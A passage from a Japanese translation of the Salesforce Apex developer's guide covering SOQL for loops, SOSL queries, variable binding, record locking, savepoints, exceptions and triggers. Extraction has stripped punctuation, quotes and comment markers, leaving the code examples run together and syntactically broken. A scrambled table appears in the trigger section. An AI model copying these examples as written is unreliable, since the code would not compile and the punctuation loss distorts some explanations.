SOQL For ループ

SOQL forループは SOQL クエリで返されたすべての sObject レコードを反復しますSOQL forループの構文は次のいずれかになります

for (variable [soql_query]) code_block

or

for (variable_list [soql_query]) code_block

variableおよび variable_listは soql_queryで返される sObject と同じデータ型でなければなりません標準 SOQL クエリと同様[soql_query]ステートメントは 構文を使用して WHERE句のスクリプト式を参照することができます例

String s = Acme for (Account a [select id name from account where name like (s+)]) Your code

次の例ではSOQL クエリのリスト作成と DML updateメソッドを結合します

SOQL クエリから取引先レコードのリストを作成 ListltAccountgt accs = [SELECT Id Name FROM AccountWHERE Name = Siebel]

リストをループして Name 項目を更新 for(Account a accs) aname = Oracle

データベースを更新 update accs

SOQL For ループと標準 SOQL クエリの比較

SOQL forループと SOQL ステートメントはsObjects を取得するために使用するメソッドが異なります「SOQL クエリおよび SOSL クエリ」で説明されている標準クエリはクエリの countまたは多くのオブジェクトレコードを取得できますがSOQL forループはForcecom Web サービス API の queryメソッドおよびqueryMoreメソッドへのコールによる効果的なチャンクを使用してすべての sObject を取得します開発者は常に SOQL forループを使用して多くのレコードを返すクエリ結果を処理しヒープサイズの制限を回避します

集計関数を含むクエリではqueryMoreをサポートしませんforループの 2000 を超える行を返す集計関数を含むクエリーを使用する場合ランタイムの例外エラーが発生します

SOQL For ループの形式

SOQL forループは単一の sObject 変数を使用して一度に 1 件のレコードをsObject リストを使用して 200 のsObject をバッチで処理できます

bull 単一の sObject 形式は forループの ltcode_blockgtを sObject レコードごとに 1 回ずつ実行しますその結果理解および使用が容易ですがforループの本文内でデータ操作言語 (DML) ステートメントを使用する場合効果が大幅に減少しますDML ステートメントは一度に 1 つの sObject のみの処理を終了します

bull sObject リスト形式は forループの ltcode_blockgtを 200 件の sObject リストごとに 1 回ずつ実行しますその結果理解および使用がやや難しくなりますがforループの本文内でDML ステートメントを使用する必要がある場合最適な選択となりますDML ステートメントはsObject のリストを一括処理します

言語構造 Version 180 | For ループ | 54

たとえば次のコードは 2 種類の SOQL クエリ forループ間の差異を示します

データをデータベースにコミットできないため savepoint を作成します Savepoint sp =DatabasesetSavepoint()

insert new account[]new account(name = yyy) new account(name = yyy) new account(name= yyy)

単一の sObject 形式は返されたレコードごとに for ループを一度ずつ実行 Integer I = 0 for (accounttmp [select id from account where name = yyy]) i++ Systemassert(i == 3) デー

タベースに「yyy」という取引先が 3 つあるため ループを 3 回実行

sObject リスト形式を返されたレコードのバッチごとにループを一度ずつ 実行します i = 0 Integer jfor (account[] tmp [select id from account where name = yyy]) j = tmpsize() i++ Systemassert(j == 3) リストには「yyy」という名前の取引先が 3 件 含まれていますSystemassert(i == 1) 1 つのバッチには最大 100 件のレコードを含むことができ 2 件のレコードのみを返すことができ ループは 1 回だけ実行できます

データベースを元の状態に戻します Databaserollback(sp)

メモ

bull breakキーワードと continueキーワードはどちらのインラインクエリ forループ形式でも使用できますsObject リスト形式を使用するとcontinueはsObjects の次のリストにスキップします

bull DML ステートメントは一度に最大 1000 件のレコードを処理できsObject リスト forループは 200件のレコードを一括処理しますその結果sObject リストforループの返されたレコードごとに複数のレコードを挿入更新または削除する場合ランタイム制限エラーが発生する場合があります詳細は「実行ガバナーと制限の理解」を参照してください

SOQL および SOSL クエリ

ステートメントを大かっこで囲むことによってApex の Salesforcecom オブジェクトクエリ言語 (SOQL) またはSalesforcecom オブジェクト検索言語 (SOSL) ステートメントを評価することができます

SOQL ステートメント

SOQL ステートメントはsObjects のリスト単一 sObjectまたは countメソッドクエリの Integer を評価します

たとえばAcme という取引先のリストを取得できます

ListltAccountgt aa = [select id name from account where name = Acme]

このリストからは各要素にアクセスできます

if (aaisEmpty()) Execute commands

言語構造 Version 180 | SOQL および SOSL クエリ | 55

既存のオブジェクトの SOQL クエリから新しいオブジェクトを作成することもできます次の例では従業員数が 10 人より多い最初の取引先の新しい取引先担当者を作成します

Contact c = new Contact(account = [select name from account where NumberofEmployees gt 10limit 1]) cFirstName = James cLastName = Yoyce

新規作成したオブジェクトにはこの項目の Null 値を含みます設定する必要はありません

countメソッドを使用してクエリによって返される行数を返すことができます次の例では姓が Weissmanの取引先担当者数の合計を返します

Integer i = [select count() from contact where lastname = Weissman]

標準の計算を使用して結果に操作することもできます

Integer j = 5 [select count() from account]

SOQL クエリ構文の説明については『Forcecom Web Services API Developers Guide』の「 Salesforcecom オブジェクトクエリ言語 (SOQL)」を参照してください

SOSL ステートメント

SOSL はそれぞれの sObject 型が含まれているsObject のリストのリストとして評価します結果リストは必ずSOSL クエリで指定された順序で返されますSOSL クエリはApex クラスおよび特定ブロックでのみサポートされますトリガで SOSL を使用することはできませんSOSL クエリが指定された sObject 型のレコードを返さない場合検索結果にはその対応する sObject の空のリストが返されます

たとえばフレーズマップで始まる取引先取引先担当者商談およびリードのリストを返します

ListltListltSObjectgtgt searchList = [FIND map IN ALL FIELDS RETURNING Account (id name)Contact Opportunity Lead]

メモ

Apex の FIND句の構文はForcecom Web サービス API の FIND句と異なります

bull Apex の場合FIND句の値は単一引用符で区画されます例

FIND map IN ALL FIELDS RETURNING Account (id name) Contact OpportunityLead

bull Forcecom API の場合FIND句の値は中かっこで区画されます例

FIND map IN ALL FIELDS RETURNING Account (id name) Contact OpportunityLead

searchListから返される各オブジェクトの配列を作成できます

Account [] accounts = ((ListltAccountgt)searchList[0]) Contact [] contacts =((ListltContactgt)searchList[1]) Opportunity [] opportunities =((ListltOpportunitygt)searchList[2]) Lead [] leads = ((ListltLeadgt)searchList[3])

言語構造 Version 180 | SOQL および SOSL クエリ | 56

SOSL クエリ構文の説明については『Forcecom Web Services API Developers Guide』の「 Salesforcecom オブジェクト検索言語 (SOSL)」を参照してください

SOQL および SOSL クエリ結果の処理SOQL クエリおよび SOSL クエリは元のクエリで選択された sObject 項目のデータのみを返しますSOQL クエリまたは SOSL クエリで選択されていない項目にアクセスしようとする場合 (ID 以外)データベースの項目に値が含まれている場合でもランタイムエラーが発生します次のコード例ではランタイムエラーが発生します

insert new Account(name = Singha) Account acc = [select id from account where name =Singha limit 1] Note that name is not selected String name = [select id from accountwhere name = Singha limit 1]name

次のコード例はランタイムエラーが発生しないように書き換えられていますnameがidの後にselect ステートメントの一部として追加されています

insert new Account(name = Singha) Account acc = [select id from account where name =Singha limit 1] Note that name is now selected String name = [select id name fromaccount where name = Singha limit 1]name

つのsObjectを必要とする場合でもSOQLクエリまたはSOSLクエリは必ずすべてのデータを返しますその結果特定の項目にアクセスするためには項目に対する参照を解決する必要がありますたとえばこのコードはSOQL クエリでデータベースから sObject リストを取得しリスト内の最初の取引先レコードにアクセスしレコードの annualRevenue項目の参照を解決します

Double rev = [select annualRevenue from account where name = Acme][0]annualRevenue

SOQL クエリの 1 つの結果だけが返される場合リストの索引に 含める必要はありませんDouble rev2 =[select annualRevenue from account where name = Acme]annualRevenue

SOQL クエリの結果で sObject 項目の参照を解決する必要がないのはクエリがcount演算子の結果として Integerを返す場合のみです

Integer i = [select count() from account]

SOSL クエリで返されるレコードの項目は必ず参照解決する必要があります

数式を含む sObject 項目はSOQL クエリまたはSOSL クエリが発行されたときに項目の値を返します数式内で使用されているその他の項目に対する変更はレコードが Apex に保存しおよび再び問い合わせされるまで数式項目の値に反映されませんその他の読み取り専用 sObject 項目と同様数式項目の値自体をApexで変更することはできません

SOQL 集計関数の使用SUM()や MAX()などSOQL の集計関数を使用して分析のクエリーでデータをロールアップおよび集計できます集計関数の詳細は『Forcecom Web Services API Developers Guide』の「集計関数」を参照してください

集計関数はGROUP BY句がなくても使用できますたとえばAVG()集計関数を使用してすべての商談の平均金額が分かります

AggregateResult[] groupedResults = [SELECT AVG(Amount)aver FROM Opportunity] Object avgAmount= groupedResults[0]get(aver)

言語構造 Version 180 | SOQL および SOSL クエリ結果の処理 | 57

集計関数を含むクエリーはAggregateResult オブジェクトの配列で結果を返しますAggregateResult は参照専用sObject でクエリ結果にのみ使用されます

集計関数はGROUP BY句とともに使用する場合にレポートを生成するより強力なツールとなりますたとえばキャンペーンにごとにすべての商談の平均金額が分かります

AggregateResult[] groupedResults = [SELECT CampaignId AVG(Amount) FROM Opportunity GROUPBY CampaignId] for (AggregateResult ar groupedResults) Systemdebug(Campaign ID +arget(CampaignId)) Systemdebug(Average amount + arget(expr0))

別名のない SELECTリストの集計項目は形式が expriの暗黙的別名を自動的に取得しますiは明示的な別名のない集計項目の順序を示しますiの値は 0 から始まり明示的な別名のない集計項目ごとに増えます詳細は『Forcecom Web Services API Developers Guide』の「GROUP BYでの別名の使用」を参照してください

非常に大きな SOQL クエリの処理SOQLクエリヒープサイズの制限を超える多くの sObjects を返しエラーが発生する場合があります問題を解決するには代わりに SOQL クエリ forループを使用しますqueryおよび queryMoreへの内部コールの使用によりレコードの複数の一括処理が可能になります

たとえば結果が大きすぎる場合次の構文でランタイム例外が発生します

Account[] accts = [SELECT id FROM account]

代わりに次の例のいずれかで SOQL クエリの forを使用します

for ループ内で DML ステートメントを実行しない場合は この形式を使用します (Account a [SELECTid name FROM account WHERE name LIKE Acme]) ここに DML ステートメントのないコード

for ループ内で DML ステートメントを実行している場合 この形式を使用 (ListltAccountgt accts [SELECT id name FROM account WHERE name LIKE Acme]) ここに更新取引先のコード

次の例はレコードの一括更新に使用する SOQL クエリ forループを示しますすべてのレコードの取引先担当者の姓を変更するとします

public void massUpdate() for (ListltContactgt contacts [Select FirstName LastName FromContact]) for(Contact c contacts) if (cFirstName == Barbara ampamp cLastName ==Gordon) cLastName = Wayne update contacts

メモ forループで SOQL クエリを使用する代わりにApex の一括処理を使用してレコードを一括更新するとガバナ制限に達するリスクが最小限に抑えられます

より効果的なSOQLクエリとして特にトリガ内のクエリについてはセレクティブ (索引付き) クエリを使用しますセレクティブクエリとはプライマリキー外部キー名前監査日付項目(LastModifiedDateなど)または外部ID項目で絞り込みを行うクエリを指します大規模な組織ではセレクティブではないクエリを実行時に停止して長時間にわたる操作時間を短縮できますアプリケーションで必要な場合salesforcecomの担当者にお問い合わせください

詳細は「SOQL For ループ」 (ページ 54)を参照してください

言語構造 Version 180 | 非常に大きな SOQL クエリの処理 | 58

1 つのレコードを返す SOQL クエリ結果リストに 1 つだけ要素が含まれている場合SOQL クエリを使用して単一の sObject 値を割り当てることができます式の L 値が単一の sObject 型である場合Apex は自動的にクエリ結果リスト内の 1 つの sObjectレコードを L 値に割り当てますリスト内に sObjects がないまたは複数の sObject がある場合ランタイム例外が発生します例

ListltAccountgt accts = [SELECT id FROM account]

クエリから 1 つの行が返される場合にのみコードのこれらの行が 有効です中間 sObject 変数に割り当てられていない場合2 番目の行は項目の クエリからの参照を解決しますAccount acct = [SELECT id FROMaccount] String name = [SELECT name FROM account]name

外部キーおよび親子関係の SOQL クエリについてSOQL クエリのSELECTステートメントは外部キー親子レコードの結合など有効な SOQL ステートメントとなります外部キーの結合が含まれている場合生成される sObjects は通常の項目表記によって参照できます例

Systemdebug([SELECT accountname FROM contact WHERE firstname = Caroline]accountname)

またsObjects の親子関係は SOQL クエリとして動作します例

for (Account a [SELECT id name (SELECT lastname FROM contacts) FROM account WHERE name= Acme]) Contact[] cons = acontacts

連絡先を 1 件のみに制限しているため次の例も有効です (Account a [SELECT id name (SELECT lastnameFROM contacts limit 1) FROM account WHERE name = testAgg]) Contact c = acontacts

SOQL クエリおよび SOSL クエリでのApex 変数の使用Apex のSOQL ステートメントおよび SOSL ステートメントは先にセミコロン () がある場合Apex スクリプト変数と式を参照することができますSOQL ステートメントまたは SOSL ステートメント内でローカルスクリプト変数を使用することはバインドと呼ばれますApex パーサーはSOQL ステートメントまたは SOSL ステートメントを実行する前にまずスクリプトコンテキスト内のローカル変数を評価しますバインド式は次のものとして使用できます

bull FIND句の検索文字列bull WHERE句の条件リテラルbull LIMIT句の数値bull WHERE句の IN演算子または NOT IN演算子値の動的セットを絞り込むことができますいかなるデータ型

のリストも処理しますがID または String のリストで特に使用されますbull FIND句の区分名

Account A = new Account(name=xxx) insert A Account B

簡単なバインド B = [select id from account where id = Aid]

言語構造 Version 180 | 1 つのレコードを返す SOQL クエリ | 59

計算によるバインド B = [select id from account where name = (x + xx)]

String s = XXX

式によるバインド B = [select id from account where name = XXXXsubstring(03)]

クエリの結果である式によるバインド B = [select id from account where name = [select name fromaccount where id = Aid]name]

Contact C = new Contact(lastName=xxx accountid=Aid) insert new Contact[]C newContact(lastName=yyy accountId=Aid)

親クエリおよび集合クエリのバインド B = [select id (select id from contacts where id = Cid)from account where id = Aid]

返される連絡先 Contact D = Bcontacts

制限バインド Integer i = 1 B = [select id from account limit i]

ID リストによる IN バインドsObjects のリスト もし用できますオブジェクトの ID がバインドに 使用されます Contact[] cc = [select id from contact limit 2] Task[] tt = [select id fromtask where whoId in cc]

String リストによる IN バインド String[] ss = new String[]a b Account[] aa = [selectid from account where accountnumber in ss]

すべての句のバインドを含む SOSL クエリ

String myString1 = aaa String myString2 = bbb Integer myInt3 = 11 String myString4= ccc Integer myInt5 = 22

ListltListltSObjectgtgt searchList = [FIND myString1 IN ALL FIELDS RETURNING Account (id nameWHERE name LIKE myString2 LIMIT myInt3) Contact Opportunity Lead WITH DIVISION=myString4 LIMIT myInt5]

SOQL ステートメントによるすべてのレコードの問い合わせSOQL ステートメントはALL ROWSキーワードを使用して削除されたレコードアーカイブされたアクティビティなど組織内のすべてのレコードを問い合わせることができます例

SystemassertEquals(2 [SELECT count() FROM contact WHERE accountid = aid ALL ROWS])

ALL ROWSを使用して組織のゴミ箱の中にあるレコードを問い合わせすることができますALL ROWSキーワードは FOR UPDATEキーワードとともに使用することはできません

ロックするステートメント

Apex を使用するとsObject レコードをロックできますレコードを更新してレース条件およびスレッドの安全性の問題を回避しますsObject レコードがロックされるとその他のプログラムまたはユーザーを更新できません

言語構造 Version 180 | SOQL ステートメントによるすべてのレコードの問い合わせ | 60

Apex の一連の sObject レコードをロックするにはインライン SOQL ステートメントの後に FOR UPDATEを埋め込みますたとえば次のステートメントでは2 つの取引先に問い合わせするほか返される取引先をロックします

Account [] accts = [select id from Account limit 2 for update]

メモ ロックを使用する SOQL クエリではORDER BYキーワードを使用できませんただしクエリ結果は自動的に ID によって並べ替えられます

このコールで取引先がロックされるとデータ操作言語 (DML) ステートメントがトランザクションのデータベースの項目値を変更できます

警告 Apex スクリプトにロックを設定する場合は慎重に使用してください詳細は以下の 「デッドロックの回避」を参照してください

SOQL For ループのロックFOR UPDATEキーワードも SOQL forループ内で使用できます例

for (Account[] accts [select id from Account for update]) Your code

SOQL For ループ (ページ 54) で説明しているように上記の例は Forcecom Web サービス API の query()メソッドおよび queryMore()メソッドのコールに内部的に対応しています

commitステートメントはありませんApexスクリプトが正常に完了するとデータベースへのすべての変更は自動的にコミットされますApex スクリプトが正常に完了しない場合データベースへのすべての変更はロールバックされます

デッドロックの回避Apex はデッドロックの可能性があり複数のデータベース表または行へのアップデートを呼び出すその他の手続き型ロジック言語にもその可能性がありますこうしたデッドロックを回避するためにApex ランタイムエンジンは次のことを行います

1 sObject 親レコードを最初にその後子レコードをロックする2 同じデータ型の複数レコードを編集する場合sObject レコードを ID 順にロックする

開発者は行をロックしてデッドロックが行われないようにする場合慎重に使用してくださいアプリケーション内のすべての場所から表および行に同じ順序でアクセスして標準デッドロック回避方法を使用していることを確認してください

トランザクションの制御

すべてのトランザクションはApex スクリプトを実行するトリガWeb サービスVisualforce ページまたは匿名ブロックによって制御されていますApex スクリプトが正常に完了するとすべての変更がデータベースにコミットされますApex スクリプトが正常に完了しない場合データベースへのすべての変更はロールバックされます

言語構造 Version 180 | SOQL For ループのロック | 61

ただしレコードの処理時にビジネスルールでは処理を別の指示で続行できるよう部分的な作業 (すでに実行された DML ステートメント) の「ロールバック」が必要な場合がありますApexを使用するとsavepointつまりその時間のデータベースの状態を指定するトランザクションのポイントを生成できますsavepoint の後に発生する DML ステートメントは破棄することができsavepoint を生成した時点と同じ状況にデータベースを復元できます

次の制限事項はsavepoint 変数の生成およびデータベースのロールバックに適用されます

bull 複数の savepoint を設定しかつ生成した最後の savepoint でない savepoint にロールバックすると後の savepoint変数が無効となりますたとえば最初にsavepoint SP1を生成次にsavepoint SP2を生成したとしてSP1にロールバックすると変数 SP2は無効となりますこの際SP2 を使用しようとするとランタイムエラーが発生します

bull savepoints への参照は各トリガ呼び出しが新しい実行コンテクストであるため複数のトリガと共有することはできません静的変数として savepoint を宣言しトリガコンテキスト全体で使用しようとする場合ランタイムエラーが発生します

bull すべてのコンテキストでつまりトリガ匿名ブロックWSDL メソッドまたはユニットテストで 5 つのsavepoint のみを設定できます追加の savepoint を設定しようとするとランタイムエラーが発生します

bull rollbackによるデータベースの復元はすべてのコンテキストでつまりトリガ匿名ブロックWSDLメソッドまたはユニットテストで20回まで実行できますそれ以上の回数をロールバックしようとするとランタイムエラーが発生します

次はsetSavepointおよび rollbackデータベースメソッドの使用例です

Account a = new account(name = xxx) insert a

SystemassertEquals(null [select accountnumber from account where id = aid]accountnumber)

accountNumber が null の場合に savepoint を作成します

Savepoint sp = DatabasesetSavepoint()

取引先意番号を変更します

aaccountnumber = 123

update a

SystemassertEquals(123 [select accountnumber from account where id = aid]accountnumber)

以前の null 値にロールバックします

Databaserollback(sp)

SystemassertEquals(null [select accountnumber from account where id = aid]accountnumber)

例外ステートメント

Apex では例外を使用してエラーまたはスクリプト実行の正常な流れを中断するイベントを処理することができますthrowステートメントを使用して例外を生成しtrycatchおよび finallyを使用して例外から適切に回復することができます

言語構造 Version 180 | 例外ステートメント | 62

例外クラスを使用して独自の例外を作成することもできます詳細は「例外クラス」 (ページ 315)を参照してください

Throw ステートメントthrowステートメントを使用して例外を明示的に発生することができます例外を投げるにはthrowステートメントを使用して例外オブジェクトを作成し特定のエラーに関する情報を提供します例

throw exceptionObject

Try-Catch-Finally ステートメントtrycatchfinallyステートメントを使用して投げられた例外から適切に回復することができます

bull tryステートメントは例外が発生するコードのブロックを識別しますbull catchステートメントは特定の種類の例外を処理できるコードのブロックを識別します単一のtryブロッ

クに対して複数の catchステートメントを使用できますが各 catchステートメントには一意の例外タイプがなければなりません

bull オプションでfinallyステートメントは実行が保証されているコードをブロックを識別しtryブロック内のコードの後でクリーンアップすることができます単一の tryステートメントには関連する finally

ステートメントを 1 つだけ含むことができます

構文

これらのステートメントの構文は次のとおりです

try code_block catch (exceptionType) code_block その他の例外タイプのオプションの catchステートメント 一般的な例外タイプ「Exception」 は使用時に最後の catch ブロックでなければなりま

せん catch (Exception e) code_block オプションの finally ステートメント finally code_block

try ここにコード catch (ListException e) リスト例外処理コード catch (Exception e) 汎用例外処理コード

メモ 実行ガバナーによる制限の例外を取得できません詳細は「実行ガバナーと制限の理解」を参照してください

言語構造 Version 180 | Throw ステートメント | 63

第 3 章

Apex の呼び出し

次のメカニズムでApex スクリプトを呼び出すことができますトピック

bull トリガbull トリガbull Apex スケジューラ (Apex クラスのみ)bull Apex スケジューラbull 匿名ブロックbull 匿名ブロックbull AJAX Toolkitbull AJAX での Apex

トリガ

Apex スクリプトはトリガを使用して呼び出しますトリガは次の操作の前後に実行する Apex スクリプトです

bull insertbull updatebull deletebull mergebull upsertbull undelete

たとえばオブジェクトのレコードがデータベースに挿入される前レコードが削除された後またはレコードがごみ箱から復元した後に実行されるトリガがある場合があります

連絡先または取引先などの最上位の標準オブジェクトにトリガを定義することができますがContactRole など標準子オブジェクトには定義できません

bull ケースコメントの場合は[設定] [ケース] [ケースコメント] [トリガ] をクリックしますbull 電子メールメッセージの場合は[設定] [ケース] [電子メールメッセージ] [トリガ]をクリックします

トリガは次の 2 つの種類に分けられます

bull Beforeトリガを使用してデータベースが保存される前にレコード値を更新または検証することができますbull After トリガを使用してデータベースで設定された項目値(レコードの Id項目または lastUpdated項目な

ど)にアクセス監査表にログキューによって非同期イベントを発生するなどそのほかのレコードの変更に影響を与えたりすることができます

トリガは最初にトリガを発生したレコードと同じデータ型の別のレコードを変更することもできますたとえば連絡先 Aが更新された後でトリガが発生する場合トリガは連絡先 BCおよび Dを変更することもできますトリガの利用により他のレコードを変更できまたこれらの変更によってより多くのトリガが発生しうるためにApex ランタイムエンジンは一連の処理を監視し無限に繰り返されることないように実行回数の制限を設定します詳細は「実行ガバナーと制限の理解」を参照してください

またトリガを発生したレコードに対してbeforeトリガで更新または削除するかまたはafterトリガで削除しようとするとランタイムエラーが発生しますこれは直接の操作および間接的な操作が含まれますたとえば取引先 Aを更新し取引先 Aの before update トリガが連絡先 Bを挿入連絡先 Bの after insert トリガが取引先 Aを問い合わせDML updateステートメントまたはデータベースメソッドを使用してそれを更新するとbefore トリガで取引先 Aが間接的に更新されランタイムエラーが発生します

実装時の検討事項

トリガを作成する前は次の点に注意してください

bull upsertトリガは必要に応じて before および after の insertトリガまたは before および after の updateトリガを発生します

bull mergeトリガは削除されるレコードには before および after の deleteトリガがまた更新されるレコードにはbefore および after の updateトリガのみが発生します「トリガと Merge ステートメント」 (ページ 73)を参照してください

Apex の呼び出し Version 180 | トリガ | 65

bull レコードが復元された後に実行するトリガは特定のオブジェクトでのみ動作します「トリガと復元レコード」 (ページ 73)を参照してください

bull トリガが終わるまで項目履歴は記録されませんトリガから項目履歴を問い合わせても現在のトランザクションの履歴は表示されません

bull API の一括処理を想定するトリガは記述しないでくださいAPI の一括処理を指定した大きさより小さいセットに分割する場合があります

バルクトリガ以前のバージョンのApexではトリガが一度に処理できるのは 1 つの sObject だけで一括処理はできませんでしたそのためデータベースクエリの制限を超えずにSOQLクエリまたはDMLステートメントを含むトリガを実行できるsObjectに対する API 一括処理を利用することができませんでした

このバージョンの Apex では単一レコード処理モデルは使用することができませんデフォルトではすべてのトリガがバルクトリガで複数のレコードを一度に処理できます

メモ 定期的な行動の insertdeleteまたは updateのトリガは一括で処理することができません

バルクトリガは単一のレコード更新と次のような一括処理に対応できます

bull データインポートbull バルク Forcecom API コールbull レコード所有者の変更や削除などの一括操作bull 再帰 Apex メソッドやバルク DML ステートメントを呼び出すトリガ

トリガ構文トリガを定義するには次の構文を使用します

trigger triggerName on ObjectName (trigger_events) code_block

trigger_eventsには次のイベントを 1 つ以上含むカンマ区切りのリストを指定できます

bull before insert

bull before update

bull before delete

bull after insert

bull after update

bull after delete

bull after undelete

メモ

bull webServiceキーワードをトリガで使用できるのはメソッドで非同期として定義されている場合つまりメソッドが futureキーワードで定義されている場合のみです

bull 定期的な行動または定期的な ToDo の insertdeleteまたは updateによって呼び出されるトリガはForcecom API からトリガが大量に呼び出されるときランタイムエラーになります

Apex の呼び出し Version 180 | バルクトリガ | 66

たとえば次のコードは取引先オブジェクトで before insertイベントおよび before updateイベントのトリガを定義します

trigger myAccountTrigger on Account (before insert before update) ここにコードを入力

トリガのコードブロックにstaticキーワードを指定することはできませんトリガには内部クラスに適用できるキーワードのみを含めることができますまたトリガが行ったデータベースへの変更は手動でコミットする必要はありませんApex スクリプトが正常に完了するとデータベースへのすべての変更は自動的にコミットされますApex スクリプトが正常に完了しない場合データベースへのすべての変更はロールバックされます

トリガコンテキスト変数すべてのトリガは開発者がランタイムコンテキストにアクセスできるようにする暗黙的な変数を定義しますこれらの変数はSystemTriggerクラスに含まれています

使用方法変数

Apex スクリプトの現在のコンテキストがVisualforce ページWeb サービスまたは executeanonymous() API コールでなくトリガである場合真を返します

isExecuting

Salesforcecom ユーザインターフェースApexまたは API から insert 操作によりトリガが起動した場合真を返します

isInsert

Salesforcecom ユーザインターフェースApexまたは API から upsert 操作によりトリガが起動した場合真を返します

isUpdate

Salesforcecom ユーザインターフェースApexまたは API から delete 操作によりトリガが起動した場合真を返します

isDelete

このトリガがレコードが保存される前に発生した場合真を返しますisBefore

このトリガがすべてのレコードが保存された後に発生した場合真を返しますisAfter

レコードがごみが子から復元した後 (SalesforcecomユーザインターフェースApexまたは API からの undelete 操作の後) トリガが起動した場合真を返します

isUndelete

新しいバージョンの sObject レコードのリストを返します

この sObject リストはinsertトリガおよびupdateトリガでのみ使用できレコードは beforeトリガでのみ更新できます

new

新しいバージョンの sObject レコードへの ID のマップです

このマップは before updateトリガafter insertトリガafter updateトリガでのみ使用できます

newMap

古いバージョンの sObject レコードのリストを返します

この sObject リストは updateトリガdeleteトリガでのみ使用できます

old

古いバージョンの sObject レコードへの ID のマップです

このマップは updateトリガdeleteトリガでのみ使用できます

oldMap

Apex の呼び出し Version 180 | トリガコンテキスト変数 | 67

使用方法変数

トリガ呼び出しでの古いバージョン新しいバージョン両方のレコードの合計数size

メモ トリガが発生するレコードに無効な項目値がある場合 (たとえば0 で割る数式など)値は newnewMapoldおよび oldMapのトリガコンテキスト変数で nullに設定されます

たとえばこの簡単なトリガの場合Triggernewは sObjects のリストでforループで反復したりSOQLクエリの IN句でバインド変数として使用できます

Trigger t on Account (after insert) for (Account a Triggernew) 各 sObject で反復

この単一のクエリはトリガしている取引先のいずれかと関連する各連絡先を 検索しますTriggernew はレコードのコレクションですが SOQL クエリのバインド変数として使用されている場合Apex は自動的に レコードのリストを対応する ID のリストに変換しますContact[] cons = [select lastname from contactwhere accountid in Triggernew]

このトリガではTriggerisBeforeおよびTriggerisDeleteのような Boolean コンテキスト変数を使用し特定のトリガ条件にのみ実行するコードを定義します

trigger myAccountTrigger on Account(before delete before insert before update afterdelete after insert after update) if (TriggerisBefore) if (TriggerisDelete)

before delete トリガの場合トリガは Triggerold リストで削除されるレコードに アクセスしますfor (Account a Triggerold) if (aname = okToDelete) aaddError(You cant deletethis record) else

before insert トリガまたは before update トリガの場合Triggernew で新しいレコードに アクセスします for (Account a Triggernew) if (aname == bad) anameaddError(Bad name) if (TriggerisInsert) for (Account a Triggernew) SystemassertEquals(xxxaaccountNumber) SystemassertEquals(industry aindustry) SystemassertEquals(100anumberofemployees) SystemassertEquals(1000 aannualrevenue) aaccountNumber = yyy

トリガが before トリガでない場合after トリガである必要があります else if (TriggerisInsert) ListltContactgt contacts = new Contact[0] for (Account a Triggernew) if(aname ==makeContact) contactsadd(new Contact (lastname = aname accountId = aid)) insertcontacts

コンテキスト変数の考慮事項トリガコンテキスト変数については次の考慮事項について注意してください

bull triggernewおよび triggeroldをApex DML 操作で使用することはできませんbull triggernewのオブジェクトを使用して項目の値を変更することができますがbefore トリガでのみ行えま

すすべての after トリガでtriggernewは保存されずランタイム例外が投げられますbull triggeroldは常に読み取り専用ですbull triggernewを削除することはできません

次の表ではさまざまなトリガイベントの特定の操作についての考慮事項を示しています

Apex の呼び出し Version 180 | コンテキスト変数の考慮事項 | 68

削除 DML 操作を使用した元のオブジェクトの削除

更新 DML 操作を使用した元のオブジェクトの更新

triggernewを使用した項目の変更

トリガイベント

該当なし元のオブジェクトが作成されていません

該当なし元のオブジェクトが作成されていません

可before insert

参照できるものがないため更新できません

参照できるものがないため更新できません

可能ですが必須ではありません挿入後すぐにオブジェクトが削除されます

可不可triggernewがすでに保存されているためランタイムエラーが発生します

after insert

不可ランタイムエラーが発生します

不可ランタイムエラーが発生します

可before update

可更新はオブジェクトが削除される前に保存される

可正しくないスクリプトにより無限ループが発生し

不可triggernewがすでに保存されているため

更新後

のでオブジェクトが復元た場合はガバナー制限にランタイムエラーが発生します された時に更新結果を表示

することができますよりエラーが検出されます

不可ランタイムエラーが発生します削除はすでに処理中です

可更新はオブジェクトが削除される前に保存されるのでオブジェクトが復元された時に更新結果を表示することができます

不可ランタイムエラーが発生しますtriggernew

は before delete トリガで使用できません

before delete

該当なしオブジェクトはすでに削除されています

該当なしオブジェクトはすでに削除されています

不可ランタイムエラーが発生しますtriggernew

は after delete トリガで使用できません

after delete

可能ですが必須ではありません挿入後すぐにオブジェクトが削除されます

可不可ランタイムエラーが発生しますtriggernew

は after undelete トリガで使用できません

after undelete

一般的なバルクトリガイディオムバルクトリガを使用すると開発者は実行ガバナー制限を超えることなくより多くのレコードを処理することができますが複数のレコードのバッチを一度に呼び出すため開発者は理解したりコード化することが難しくなる場合があります次の項では一括して記述する場合に頻繁に使用されるイディオムの例について説明します

バルクトリガでのマップおよびセットの使用

セットおよびマップのデータ構造はバルクトリガの正常なコード化において重要ですセットを使用して各レコードを分割しマップを使用してレコード ID で編成されたクエリ結果を保持することができます

Apex の呼び出し Version 180 | 一般的なバルクトリガイディオム | 69

たとえばサンプルの見積アプリケーションのバルクトリガはまず Triggernewの OpportunityLineItem レコードに関連する各価格表のエントリをセットに追加しセットに個別の要素が含まれるようにしますそして関連する製品の色の PricebookEntries を問い合わせマップ内に結果を投入しますマップが作成されるとトリガは Triggernewの OpportunityLineItems で反復しマップを使用して適切な色を割り当てます

新しい品目は商談に追加されるとこのトリガは関連する製品の色の値を 新しいレコードにコピーしますtrigger oppLineTrigger on OpportunityLineItem (before insert)

各 OpportunityLineItem レコードの場合関連する価格表のエントリを セットに追加し重複はなくなりますSetltIdgt pbeIds = new SetltIdgt() for (OpportunityLineItem oli Triggernew)pbeIdsadd(olipricebookentryid)

そして関連する製品の色の PricebookEntries を問い合わせマップ内に 結果を投入しますMapltIdPricebookEntrygt entries = new MapltId PricebookEntrygt( [select product2color__c frompricebookentry where id in pbeIds])

マップを使用してトリガに処理される各 OpportunityLineItem の適切な色を 設定します for(OpportunityLineItem oli Triggernew) olicolor__c =entriesget(olipricebookEntryId)product2color__c

バルクトリガのレコードとクエリ結果の相関

TriggernewMapおよび TriggeroldMapの ID-to-sObject マップを使用してレコードをクエリ結果に相関させますたとえばサンプル見積アプリケーションのこのトリガではTriggeroldMapを使用して一意のID のセットを作成します (TriggeroldMapkeySet())セットはクエリの一部として使用されトリガで処理される商談に関連する見積のリストを作成しますクエリに返される各見積の場合関連する商談がTriggeroldMapから取得され削除されないようにします

